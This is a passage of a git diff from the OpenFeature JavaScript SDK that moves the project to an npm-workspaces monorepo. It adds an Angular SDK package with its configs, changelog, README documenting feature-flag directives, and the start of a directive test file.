'^.+\\.(ts|tsx)$': [
'ts-jest',
{
tsconfig: '<rootDir>/packages/react/test/tsconfig.json',
},
],
},
},
],
// Use this configuration option to add custom reporters to Jest
// reporters: undefined,
reporters: ['default', ['github-actions', { silent: false }], 'summary'],
// Automatically reset mock state before every test
// resetMocks: false,
@ -126,10 +208,9 @@ export default {
// restoreMocks: false,
// The root directory that Jest should scan for tests and modules within
// rootDir: undefined,
rootDir: './',
// A list of paths to directories that Jest should use to search for files in
roots: ['<rootDir>/test'],
// Allows you to use a custom runner instead of Jest's default test runner
// runner: "jest-runner",

33093
package-lock.json generated

File diff suppressed because it is too large Load Diff

View File

@ -1,21 +1,23 @@
{
"name": "@openfeature/js-sdk",
"version": "1.1.0",
"name": "@openfeature/js",
"engines": {
"npm": "^10.0.0"
},
"version": "0.0.0",
"private": true,
"description": "OpenFeature SDK for JavaScript",
"main": "./dist/cjs/index.js",
"module": "./dist/esm/index.js",
"types": "./dist/types/index.d.ts",
"scripts": {
"test": "jest --verbose",
"integration": "git submodule update --init --recursive && cp test-harness/features/evaluation.feature integration/features && npx jest --config integration/step-definitions/jest.config.ts",
"lint": "eslint ./",
"clean": "rm -fr ./dist",
"type": "tsc --project tsconfig.json --declaration --emitDeclarationOnly",
"build:esm": "esbuild ./src/index.ts --bundle --sourcemap --target=es2016 --platform=node --format=esm --outfile=./dist/esm/index.js --analyze",
"build:cjs": "esbuild ./src/index.ts --bundle --sourcemap --target=es2016 --platform=node --format=cjs --outfile=./dist/cjs/index.js --analyze",
"build": "npm run clean && npm run type && npm run build:esm && npm run build:cjs",
"postbuild": "cp ./package.esm.json ./dist/esm/package.json",
"current-version": "echo $npm_package_version",
"test": "npm run test:jest && npm run test:angular",
"test:jest": "jest --selectProjects=shared --selectProjects=server --selectProjects=web --selectProjects=react --selectProjects=nest --silent",
"test:angular": "npm run test:coverage --workspace=packages/angular",
"e2e-server": "git submodule update --init --recursive && shx cp test-harness/features/evaluation.feature packages/server/e2e/features && jest --selectProjects=server-e2e --verbose",
"e2e-web": "git submodule update --init --recursive && shx cp test-harness/features/evaluation.feature packages/web/e2e/features && jest --selectProjects=web-e2e --verbose",
"e2e": "npm run e2e-server && npm run e2e-web",
"lint": "npm run lint --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"lint:fix": "npm run lint:fix --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"clean": "shx rm -rf ./dist",
"build": "npm run build --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"publish-all": "npm run publish-if-not-exists --workspace=packages/shared --workspace=packages/server --workspace=packages/web --workspace=packages/react --workspace=packages/angular --workspace=packages/nest",
"docs": "typedoc"
},
"repository": {
@ -23,47 +25,60 @@
"url": "git+https://github.com/open-feature/js-sdk.git"
},
"keywords": [
"openfeature"
"openfeature",
"feature",
"flags",
"toggles"
],
"author": "",
"author": "openfeature",
"license": "Apache-2.0",
"bugs": {
"url": "https://github.com/open-feature/js-sdk/issues"
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"engines": {
"node": ">=14"
},
"files": [
"dist/"
],
"exports": {
"types": "./dist/types/index.d.ts",
"import": "./dist/esm/index.js",
"require": "./dist/cjs/index.js",
"default": "./dist/cjs/index.js"
},
"devDependencies": {
"@openfeature/flagd-provider": "~0.7.0",
"@types/jest": "^29.0.0",
"@types/node": "^18.0.3",
"@typescript-eslint/eslint-plugin": "^5.23.0",
"@typescript-eslint/parser": "^5.23.0",
"esbuild": "^0.16.0",
"eslint": "^8.14.0",
"eslint-config-prettier": "^8.5.0",
"@rollup/plugin-typescript": "^12.0.0",
"@testing-library/jest-dom": "^6.4.2",
"@testing-library/react": "^16.0.0",
"@types/jest": "^29.5.12",
"@types/node": "^22.0.0",
"@types/react": "^18.2.55",
"@types/uuid": "^10.0.0",
"esbuild": "^0.25.0",
"eslint": "^8.56.0",
"eslint-config-prettier": "^9.1.0",
"eslint-import-resolver-alias": "^1.1.2",
"eslint-plugin-check-file": "^1.2.1",
"eslint-plugin-import": "^2.26.0",
"eslint-plugin-jest": "^27.0.1",
"eslint-plugin-jsdoc": "^39.3.6",
"jest": "^29.0.0",
"jest-cucumber": "^3.0.1",
"jest-junit": "^15.0.0",
"prettier": "^2.6.2",
"ts-jest": "^29.0.0",
"ts-node": "^10.8.2",
"typedoc": "^0.23.16",
"typescript": "^4.7.4"
}
"eslint-plugin-check-file": "^2.6.2",
"eslint-plugin-import": "^2.29.1",
"eslint-plugin-jest": "^28.0.0",
"eslint-plugin-jsdoc": "^50.0.0",
"eventemitter3": "^5.0.1",
"jest": "^29.7.0",
"jest-config": "^29.7.0",
"jest-cucumber": "^4.0.0",
"jest-environment-jsdom": "^29.7.0",
"jest-environment-node": "^29.7.0",
"jest-junit": "^16.0.0",
"prettier": "^3.2.5",
"react": "^18.2.0",
"rollup": "^4.0.0",
"rollup-plugin-dts": "^6.1.1",
"rxjs": "~7.8.0",
"shx": "^0.4.0",
"ts-jest": "^29.1.2",
"ts-node": "^10.9.2",
"tslib": "^2.3.0",
"typedoc": "^0.26.0",
"typescript": "^4.7.4",
"uuid": "^11.0.0"
},
"workspaces": [
"packages/shared",
"packages/server",
"packages/web",
"packages/react",
"packages/angular",
"packages/angular/projects/angular-sdk",
"packages/nest"
]
}

View File

@ -0,0 +1,29 @@
{
"root": true,
"ignorePatterns": [
"projects/**/*"
],
"overrides": [
{
"files": [
"*.ts"
],
"extends": [
"eslint:recommended",
"plugin:@typescript-eslint/recommended",
"plugin:@angular-eslint/recommended",
"plugin:@angular-eslint/template/process-inline-templates"
]
},
{
"files": [
"*.html"
],
"extends": [
"plugin:@angular-eslint/template/recommended",
"plugin:@angular-eslint/template/accessibility"
],
"rules": {}
}
]
}

45
packages/angular/.gitignore vendored Normal file
View File

@ -0,0 +1,45 @@
# See http://help.github.com/ignore-files/ for more about ignoring files.
# Compiled output
/dist
/tmp
/out-tsc
/bazel-out
# Node
/node_modules
npm-debug.log
yarn-error.log
# IDEs and editors
.idea/
.project
.classpath
.c9/
*.launch
.settings/
*.sublime-workspace
# Visual Studio Code
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
.history/*
# Miscellaneous
/.angular/cache
.sass-cache/
/connect.lock
/coverage
/libpeerconnection.log
testem.log
/typings
# System files
.DS_Store
Thumbs.db
.nx/cache
.nx/workspace-data

View File

@ -0,0 +1,27 @@
# Angular
This project was generated with [Angular CLI](https://github.com/angular/angular-cli) version 17.2.2.
## Development server
Run `ng serve` for a dev server. Navigate to `http://localhost:4200/`. The application will automatically reload if you change any of the source files.
## Code scaffolding
Run `ng generate component component-name` to generate a new component. You can also use `ng generate directive|pipe|service|class|guard|interface|enum|module`.
## Build
Run `ng build` to build the project. The build artifacts will be stored in the `dist/` directory.
## Running unit tests
Run `ng test` to execute the unit tests via [Karma](https://karma-runner.github.io).
## Running end-to-end tests
Run `ng e2e` to execute the end-to-end tests via a platform of your choice. To use this command, you need to first add a package that implements end-to-end testing capabilities.
## Further help
To get more help on the Angular CLI use `ng help` or go check out the [Angular CLI Overview and Command Reference](https://angular.io/cli) page.

View File

@ -0,0 +1,54 @@
{
"$schema": "../../node_modules/@angular/cli/lib/config/schema.json",
"version": 1,
"newProjectRoot": "projects",
"projects": {
"angular-sdk": {
"projectType": "library",
"root": "projects/angular-sdk",
"sourceRoot": "projects/angular-sdk/src",
"prefix": "lib",
"architect": {
"build": {
"builder": "@angular/build:ng-packagr",
"options": {
"project": "projects/angular-sdk/ng-package.json"
},
"configurations": {
"production": {
"tsConfig": "projects/angular-sdk/tsconfig.lib.prod.json"
},
"development": {
"tsConfig": "projects/angular-sdk/tsconfig.lib.json"
}
},
"defaultConfiguration": "production"
},
"lint": {
"builder": "@angular-eslint/builder:lint",
"options": {
"lintFilePatterns": [
"projects/angular-sdk/**/*.ts",
"projects/angular-sdk/**/*.html"
]
}
},
"test": {
"builder": "@angular/build:unit-test",
"options": {
"tsConfig": "projects/angular-sdk/tsconfig.spec.json",
"providersFile": "projects/angular-sdk/src/test-provider.ts",
"runner": "vitest",
"buildTarget": "::development"
}
}
}
}
},
"cli": {
"schematicCollections": [
"@angular-eslint/schematics"
],
"analytics": false
}
}

View File

@ -0,0 +1,48 @@
{
"name": "angular",
"version": "0.0.0",
"scripts": {
"ng": "ng",
"start": "ng serve",
"lint": "ng lint",
"lint:fix": "ng lint --fix",
"watch": "ng build --watch --configuration development",
"test": "ng test",
"test:coverage": "ng test --no-watch --code-coverage",
"build": "ng build && npm run postbuild",
"postbuild": "shx cp ./../../LICENSE ./dist/angular/LICENSE",
"publish-if-not-exists": "cp $NPM_CONFIG_USERCONFIG .npmrc && if [ \"$(npm --prefix dist/angular run current-published-version -s)\" = \"$(npm --prefix dist/angular run current-version -s)\" ]; then echo 'already published, skipping'; else cd dist/angular && npm publish --access public; fi"
},
"private": true,
"devDependencies": {
"@angular-eslint/builder": "^20.1.1",
"@angular-eslint/eslint-plugin": "^20.1.1",
"@angular-eslint/eslint-plugin-template": "^20.1.1",
"@angular-eslint/schematics": "^20.1.1",
"@angular-eslint/template-parser": "^20.1.1",
"@angular/animations": "^20.1.1",
"@angular/build": "^20.1.1",
"@angular/cli": "^20.1.1",
"@angular/common": "^20.1.1",
"@angular/compiler": "^20.1.1",
"@angular/compiler-cli": "^20.1.1",
"@angular/core": "^20.1.1",
"@angular/forms": "^20.1.1",
"@angular/platform-browser": "^20.1.1",
"@angular/platform-browser-dynamic": "^20.1.1",
"@angular/router": "^20.1.1",
"@typescript-eslint/eslint-plugin": "7.18.0",
"@typescript-eslint/parser": "7.18.0",
"@vitest/browser": "^3.2.4",
"@vitest/coverage-v8": "^3.2.4",
"eslint": "^8.57.0",
"jsdom": "^26.1.0",
"ng-packagr": "^20.1.0",
"playwright": "^1.53.2",
"rxjs": "~7.8.0",
"tslib": "^2.3.0",
"typescript": "^5.8.3",
"vitest": "^3.2.4",
"zone.js": "~0.15.0"
}
}

View File

@ -0,0 +1,18 @@
# This file is used by the build system to adjust CSS and JS output to support the specified browsers below.
# For additional information regarding the format and rule options, please see:
# https://github.com/browserslist/browserslist#queries
# For Angular's browser support policy, please see:
# https://angular.dev/reference/versions#browser-support
# You can see what browsers were selected by your queries by running:
# npx browserslist
Chrome >= 107
ChromeAndroid >= 107
Edge >= 107
Firefox >= 104
FirefoxAndroid >= 104
Safari >= 16
iOS >= 16

View File

@ -0,0 +1,19 @@
{
"extends": "../../.eslintrc.json",
"ignorePatterns": [
"!**/*"
],
"overrides": [
{
"files": [
"*.ts"
]
},
{
"files": [
"*.html"
],
"rules": {}
}
]
}

View File

@ -0,0 +1,127 @@
# Changelog
## [0.0.16](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.15...angular-sdk-v0.0.16) (2025-07-25)
### ✨ New Features
* support Angular 20 ([#1220](https://github.com/open-feature/js-sdk/issues/1220)) ([aa232a9](https://github.com/open-feature/js-sdk/commit/aa232a9d6a8dfa416380ccdecd71843d3e361048))
## [0.0.15](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.14...angular-sdk-v0.0.15) (2025-05-27)
### 🐛 Bug Fixes
* **angular:** update docs ([#1200](https://github.com/open-feature/js-sdk/issues/1200)) ([b6ea588](https://github.com/open-feature/js-sdk/commit/b6ea5884f2ab9f4f94c8b258c4cf7268ea6dbeb8))
## [0.0.14](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.13...angular-sdk-v0.0.14) (2025-05-25)
### 🐛 Bug Fixes
* **angular:** add license and url field to package.json ([b2784f5](https://github.com/open-feature/js-sdk/commit/b2784f53b85a11c58abb8e2a0f87a31890885c54))
## [0.0.13](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.12...angular-sdk-v0.0.13) (2025-04-20)
### 📚 Documentation
* fix readme typo ([#1174](https://github.com/open-feature/js-sdk/issues/1174)) ([21a32ec](https://github.com/open-feature/js-sdk/commit/21a32ec92ecde9ec43c9d72b5921035af13448d1))
## [0.0.12](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.11...angular-sdk-v0.0.12) (2025-04-11)
### ✨ New Features
* **angular:** add docs for setting evaluation context in angular ([#1170](https://github.com/open-feature/js-sdk/issues/1170)) ([24f1b23](https://github.com/open-feature/js-sdk/commit/24f1b230bf1d57971a336ac21b9ee46e8baf0cab))
## [0.0.11](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.10...angular-sdk-v0.0.11) (2025-04-11)
### ✨ New Features
* **angular:** add option for initial context injection ([aafdb43](https://github.com/open-feature/js-sdk/commit/aafdb4382f113f96a649f5fc0cecadb4178ada67))
## [0.0.10](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.9-experimental...angular-sdk-v0.0.10) (2025-02-13)
### 🧹 Chore
* **angular:** update angular package to a non-experimental version ([#1147](https://github.com/open-feature/js-sdk/issues/1147)) ([5272f76](https://github.com/open-feature/js-sdk/commit/5272f76c4075ebbd21f9b24dacac8f2d22e31ca9)), closes [#1110](https://github.com/open-feature/js-sdk/issues/1110)
* update sdk peer ([#1142](https://github.com/open-feature/js-sdk/issues/1142)) ([8bb6206](https://github.com/open-feature/js-sdk/commit/8bb620601e2b8dc7b62d717169b585bd1c886996))
## [0.0.9-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.8-experimental...angular-sdk-v0.0.9-experimental) (2024-11-21)
### 🧹 Chore
* **angular:** add repository to package.json ([#1093](https://github.com/open-feature/js-sdk/issues/1093)) ([35f000e](https://github.com/open-feature/js-sdk/commit/35f000e0f3c3ff7d60c05883312691d14f01c5fd))
## [0.0.8-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.7-experimental...angular-sdk-v0.0.8-experimental) (2024-11-21)
### ✨ New Features
* **angular:** add angular 19 to peerDependencies ([4893d6f](https://github.com/open-feature/js-sdk/commit/4893d6f0003fbdcdcd4c7c061e9aed49e20b8976))
## [0.0.7-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.6-experimental...angular-sdk-v0.0.7-experimental) (2024-11-21)
Note: This version did not release
## [0.0.6-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.5-experimental...angular-sdk-v0.0.6-experimental) (2024-10-28)
### ✨ New Features
* **angular:** add Angular 18 support ([#1063](https://github.com/open-feature/js-sdk/issues/1063)) ([e62d6d4](https://github.com/open-feature/js-sdk/commit/e62d6d4b7e4a5d0f40592a2c73e7124d22eec98e))
## [0.0.5-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.4-experimental...angular-sdk-v0.0.5-experimental) (2024-10-21)
### 🐛 Bug Fixes
* **angular:** fix race condition on initialization ([#1052](https://github.com/open-feature/js-sdk/issues/1052)) ([12eaa97](https://github.com/open-feature/js-sdk/commit/12eaa9758d9deb788d74488ef03f18cbd31c0cbe))
## [0.0.4-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.3-experimental...angular-sdk-v0.0.4-experimental) (2024-09-30)
### 🐛 Bug Fixes
* **angular:** add package description ([#1026](https://github.com/open-feature/js-sdk/issues/1026)) ([dc63ca8](https://github.com/open-feature/js-sdk/commit/dc63ca8b9d6fe8c16089e95f0e336d5e3f759f3b))
## [0.0.3-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.2-experimental...angular-sdk-v0.0.3-experimental) (2024-09-22)
### 🧹 Chore
* add npm keywords for angular ([#1015](https://github.com/open-feature/js-sdk/issues/1015)) ([6b11165](https://github.com/open-feature/js-sdk/commit/6b11165aa102e62fb8cd4dd218643e2ef0e733cf))
### 📚 Documentation
* **angular:** improve angular readme layout ([#1013](https://github.com/open-feature/js-sdk/issues/1013)) ([ee52da9](https://github.com/open-feature/js-sdk/commit/ee52da9a01fe71fd5b4a4734659a06c48b6dc62c))
## [0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.1-experimental...angular-sdk-v0.0.2-experimental) (2024-09-14)
### 🐛 Bug Fixes
* copy license to package correctly ([#1011](https://github.com/open-feature/js-sdk/issues/1011)) ([458d278](https://github.com/open-feature/js-sdk/commit/458d278345fe8681a966fca3852b2e607bdafccb))
## [0.0.1-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.2-experimental...angular-sdk-v0.0.3-experimental) (2024-09-14)
### ✨ New Features
* Angular SDK ([#997](https://github.com/open-feature/js-sdk/issues/997)) ([105fd95](https://github.com/open-feature/js-sdk/commit/105fd95e344822ffcfc54d328a28676b6f27f38e))

View File

@ -0,0 +1,352 @@
<!-- markdownlint-disable MD033 -->
<!-- x-hide-in-docs-start -->
<p align="center">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/white/openfeature-horizontal-white.svg" />
<img align="center" alt="OpenFeature Logo" src="https://raw.githubusercontent.com/open-feature/community/0e23508c163a6a1ac8c0ced3e4bd78faafe627c7/assets/logo/horizontal/black/openfeature-horizontal-black.svg" />
</picture>
</p>
<h2 align="center">OpenFeature Angular SDK</h2>
<!-- x-hide-in-docs-end -->
<!-- The 'github-badges' class is used in the docs -->
<p align="center" class="github-badges">
<a href="https://github.com/open-feature/spec/releases/tag/v0.8.0">
<img alt="Specification" src="https://img.shields.io/static/v1?label=specification&message=v0.8.0&color=yellow&style=for-the-badge" />
</a>
<!-- x-release-please-start-version -->
<a href="https://github.com/open-feature/js-sdk/releases/tag/angular-sdk-v0.0.16">
<img alt="Release" src="https://img.shields.io/static/v1?label=release&message=v0.0.16&color=blue&style=for-the-badge" />
</a>
<!-- x-release-please-end -->
<br/>
<a href="https://codecov.io/gh/open-feature/js-sdk">
<img alt="codecov" src="https://codecov.io/gh/open-feature/js-sdk/branch/main/graph/badge.svg?token=3DC5XOEHMY" />
</a>
<a href="https://www.npmjs.com/package/@openfeature/angular-sdk">
<img alt="NPM Download" src="https://img.shields.io/npm/dm/%40openfeature%2Fangular-sdk" />
</a>
</p>
<!-- x-hide-in-docs-start -->
[OpenFeature](https://openfeature.dev) is an open specification that provides a vendor-agnostic, community-driven API
for feature flagging that works with your favorite feature flag management tool or in-house solution.
<!-- x-hide-in-docs-end -->
## Overview
The OpenFeature Angular SDK adds Angular-specific functionality to
the [OpenFeature Web SDK](https://openfeature.dev/docs/reference/technologies/client/web).
In addition to the features provided by the [web sdk](https://openfeature.dev/docs/reference/technologies/client/web), capabilities include:
- [Overview](#overview)
- [Quick start](#quick-start)
- [Requirements](#requirements)
- [Install](#install)
- [npm](#npm)
- [yarn](#yarn)
- [Required peer dependencies](#required-peer-dependencies)
- [Usage](#usage)
- [Module](#module)
- [Minimal Example](#minimal-example)
- [How to use](#how-to-use)
- [Boolean Feature Flag](#boolean-feature-flag)
- [Number Feature Flag](#number-feature-flag)
- [String Feature Flag](#string-feature-flag)
- [Object Feature Flag](#object-feature-flag)
- [Opting-out of automatic re-rendering](#opting-out-of-automatic-re-rendering)
- [Consuming the evaluation details](#consuming-the-evaluation-details)
- [Setting Evaluation Context](#setting-evaluation-context)
- [FAQ and troubleshooting](#faq-and-troubleshooting)
- [Resources](#resources)
## Quick start
### Requirements
- ES2015-compatible web browser (Chrome, Edge, Firefox, etc)
- Angular version 16+
### Install
#### npm
```sh
npm install --save @openfeature/angular-sdk
```
#### yarn
```sh
# yarn requires manual installation of the peer dependencies (see below)
yarn add @openfeature/angular-sdk @openfeature/web-sdk @openfeature/core
```
#### Required peer dependencies
The following list contains the peer dependencies of `@openfeature/angular-sdk`.
See the [package.json](./package.json) for the required versions.
* `@openfeature/web-sdk`
* `@angular/common`
* `@angular/core`
### Usage
#### Module
To include the OpenFeature Angular directives in your application, you need to import the `OpenFeatureModule` and
configure it using the `forRoot` method.
```typescript
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { OpenFeatureModule } from '@openfeature/angular-sdk';
@NgModule({
declarations: [
// Other components
],
imports: [
CommonModule,
OpenFeatureModule.forRoot({
provider: yourFeatureProvider,
// domainBoundProviders are optional, mostly needed if more than one provider is used in the application.
domainBoundProviders: {
domain1: new YourOpenFeatureProvider(),
domain2: new YourOtherOpenFeatureProvider(),
},
})
],
})
export class AppModule {
}
```
##### Minimal Example
You don't need to provide all the templates. Here's a minimal example using a boolean feature flag:
If `initializing` and `reconciling` are not given, the feature flag value that is returned by the provider will
determine what will be rendered.
```html
<div *booleanFeatureFlag="'isFeatureEnabled'; default: true">
This is shown when the feature flag is enabled.
</div>
```
This example shows content when the feature flag `isFeatureEnabled` is true with a default value of true.
No `else`, `initializing`, or `reconciling` templates are required in this case.
#### How to use
The library provides four primary directives for feature flags, `booleanFeatureFlag`,
`numberFeatureFlag`, `stringFeatureFlag` and `objectFeatureFlag`.
The first value given to the directive is the flag key that should be evaluated.
For all directives, the default value passed to OpenFeature has to be provided by the `default` parameter.
For all non-boolean directives, the value to compare the evaluation result to can be provided by the `value` parameter.
This parameter is optional, if omitted, the `thenTemplate` will always be rendered.
The `domain` parameter is _optional_ and will be used as domain when getting the OpenFeature provider.
The `updateOnConfigurationChanged` and `updateOnContextChanged` parameter are _optional_ and used to disable the
automatic re-rendering on flag value or context change. They are set to `true` by default.
The template referenced in `else` will be rendered if the evaluated feature flag is `false` for the `booleanFeatureFlag`
directive and if the `value` does not match evaluated flag value for all other directives.
This parameter is _optional_.
The template referenced in `initializing` and `reconciling` will be rendered if OpenFeature provider is in the
corresponding states.
This parameter is _optional_, if omitted, the `then` and `else` templates will be rendered according to the flag value.
##### Boolean Feature Flag
```html
<div
*booleanFeatureFlag="'isFeatureEnabled'; default: true; domain: 'userDomain'; else: booleanFeatureElse; initializing: booleanFeatureInitializing; reconciling: booleanFeatureReconciling">
This is shown when the feature flag is enabled.
</div>
<ng-template #booleanFeatureElse>
This is shown when the feature flag is disabled.
</ng-template>
<ng-template #booleanFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #booleanFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### Number Feature Flag
```html
<div
*numberFeatureFlag="'discountRate'; value: 10; default: 5; domain: 'userDomain'; else: numberFeatureElse; initializing: numberFeatureInitializing; reconciling: numberFeatureReconciling">
This is shown when the feature flag matches the specified discount rate.
</div>
<ng-template #numberFeatureElse>
This is shown when the feature flag does not match the specified discount rate.
</ng-template>
<ng-template #numberFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #numberFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### String Feature Flag
```html
<div
*stringFeatureFlag="'themeColor'; value: 'dark'; default: 'light'; domain: 'userDomain'; else: stringFeatureElse; initializing: stringFeatureInitializing; reconciling: stringFeatureReconciling">
This is shown when the feature flag matches the specified theme color.
</div>
<ng-template #stringFeatureElse>
This is shown when the feature flag does not match the specified theme color.
</ng-template>
<ng-template #stringFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #stringFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### Object Feature Flag
```html
<div
*objectFeatureFlag="'userConfig'; value: { theme: 'dark' }; default: { theme: 'light' }; domain: 'userDomain'; else: objectFeatureElse; initializing: objectFeatureInitializing; reconciling: objectFeatureReconciling">
This is shown when the feature flag matches the specified user configuration.
</div>
<ng-template #objectFeatureElse>
This is shown when the feature flag does not match the specified user configuration.
</ng-template>
<ng-template #objectFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #objectFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### Opting-out of automatic re-rendering
By default, the directive re-renders when the flag value changes or the context changes.
In cases, this is not desired, re-rendering can be disabled for both events:
```html
<div *booleanFeatureFlag="'isFeatureEnabled'; default: true; updateOnContextChanged: false; updateOnConfigurationChanged: false;">
This is shown when the feature flag is enabled.
</div>
```
##### Consuming the evaluation details
The `evaluation details` can be used when rendering the templates.
The directives [`$implicit`](https://angular.dev/guide/directives/structural-directives#structural-directive-shorthand)
value will be bound to the flag value and additionally the value `evaluationDetails` will be
bound to the whole evaluation details.
They can be referenced in all templates.
The following example shows `value` being implicitly bound and `details` being bound to the evaluation details.
```html
<div
*stringFeatureFlag="'themeColor'; value: 'dark'; default: 'light'; else: stringFeatureElse; let value; let details = evaluationDetails">
It was a match!
The theme color is {{ value }} because of {{ details.reason }}
</div>
<ng-template #stringFeatureElse let-value let-details='evaluationDetails'>
It was no match!
The theme color is {{ value }} because of {{ details.reason }}
</ng-template>
```
When the expected flag value is omitted, the template will always be rendered.
This can be used to just render the flag value or details without conditional rendering.
```html
<div *stringFeatureFlag="'themeColor'; default: 'light'; let value;">
The theme color is {{ value }}.
</div>
```
##### Setting evaluation context
To set the initial evaluation context, you can add the `context` parameter to the `OpenFeatureModule` configuration.
This context can be either an object or a factory function that returns an `EvaluationContext`.
> [!TIP]
> Updating the context can be done directly via the global OpenFeature API using `OpenFeature.setContext()`
Heres how you can define and use the initial client evaluation context:
###### Using a static object
```typescript
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { OpenFeatureModule } from '@openfeature/angular-sdk';
const initialContext = {
user: {
id: 'user123',
role: 'admin',
}
};
@NgModule({
imports: [
CommonModule,
OpenFeatureModule.forRoot({
provider: yourFeatureProvider,
context: initialContext
})
],
})
export class AppModule {}
```
###### Using a factory function
```typescript
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { OpenFeatureModule, EvaluationContext } from '@openfeature/angular-sdk';
const contextFactory = (): EvaluationContext => loadContextFromLocalStorage();
@NgModule({
imports: [
CommonModule,
OpenFeatureModule.forRoot({
provider: yourFeatureProvider,
context: contextFactory
})
],
})
export class AppModule {}
```
## FAQ and troubleshooting
> I can import things form the `@openfeature/angular-sdk`, `@openfeature/web-sdk`, and `@openfeature/core`; which should I use?
The `@openfeature/angular-sdk` re-exports everything from its peers (`@openfeature/web-sdk` and `@openfeature/core`), and adds the Angular-specific features.
You can import everything from the `@openfeature/angular-sdk` directly.
Avoid importing anything from `@openfeature/web-sdk` or `@openfeature/core`.
## Resources
- [Example repo](https://github.com/open-feature/angular-test-app)

View File

@ -0,0 +1,8 @@
{
"$schema": "../../node_modules/ng-packagr/ng-package.schema.json",
"dest": "../../dist/angular",
"keepLifecycleScripts": true,
"lib": {
"entryFile": "src/public-api.ts"
}
}

View File

@ -0,0 +1,43 @@
{
"name": "@openfeature/angular-sdk",
"version": "0.0.16",
"description": "OpenFeature Angular SDK",
"repository": {
"type": "git",
"url": "git+https://github.com/open-feature/js-sdk.git"
},
"license": "Apache-2.0",
"bugs": {
"url": "https://github.com/open-feature/js-sdk/issues"
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"scripts": {
"current-published-version": "npm show $npm_package_name@$npm_package_version version",
"current-version": "echo $npm_package_version",
"prepack": "shx cp ./../../../../LICENSE ./LICENSE"
},
"peerDependencies": {
"@angular/common": "^16.2.12 || ^17.3.0 || ^18.0.0 || ^19.0.0 || ^20.0.0",
"@angular/core": "^16.2.12 || ^17.3.0 || ^18.0.0 || ^19.0.0 || ^20.0.0",
"@openfeature/web-sdk": "^1.4.1"
},
"dependencies": {
"tslib": "^2.3.0"
},
"devDependencies": {
"@openfeature/core": "^1.8.1",
"@openfeature/web-sdk": "^1.5.0",
"@angular/common": "^20.1.2",
"@angular/core": "^20.1.2"
},
"sideEffects": false,
"keywords": [
"openfeature",
"feature",
"flags",
"toggles",
"browser",
"web",
"angular"
]
}

View File

@ -0,0 +1,608 @@
import { ComponentFixture, TestBed } from '@angular/core/testing';
import { Component, Input } from '@angular/core';
import { OpenFeatureModule } from './open-feature.module';
import { By } from '@angular/platform-browser';
import { Client, ClientProviderEvents, FlagValue, InMemoryProvider, OpenFeature } from '@openfeature/web-sdk';
import { TestingProvider } from '../test/test.utils';
import { v4 } from 'uuid';
import {
BooleanFeatureFlagDirective,
NumberFeatureFlagDirective,
ObjectFeatureFlagDirective,
StringFeatureFlagDirective,
} from './feature-flag.directive';
@Component({
standalone: true,
imports: [
BooleanFeatureFlagDirective,
NumberFeatureFlagDirective,
StringFeatureFlagDirective,
ObjectFeatureFlagDirective,
],
template: `
<ng-container>
<div class="case-1">
<div *booleanFeatureFlag="'test-flag'; default: true; domain: domain" class="flag-status">Flag On</div>
</div>
<div class="case-2">
<div *booleanFeatureFlag="'test-flag'; default: true; else: elseTemplate; domain: domain" class="flag-status">
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-3">
<div
*booleanFeatureFlag="'test-flag'; default: false; initializing: initializingTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #initializingTemplate>
<div class="flag-status">Initializing</div>
</ng-template>
</div>
<div class="case-4">
<div
*booleanFeatureFlag="'test-flag'; default: false; reconciling: reconcilingTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #reconcilingTemplate>
<div class="flag-status">Reconciling</div>
</ng-template>
</div>
<div class="case-5">
<div
*booleanFeatureFlag="
'test-flag';
default: false;
else: elseTemplate;
initializing: initializingTemplate;
reconciling: reconcilingTemplate;
domain: domain
"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
<ng-template #initializingTemplate>
<div class="flag-status">Initializing</div>
</ng-template>
<ng-template #reconcilingTemplate>
<div class="flag-status">Reconciling</div>
</ng-template>
</div>
<div class="case-6">
<div
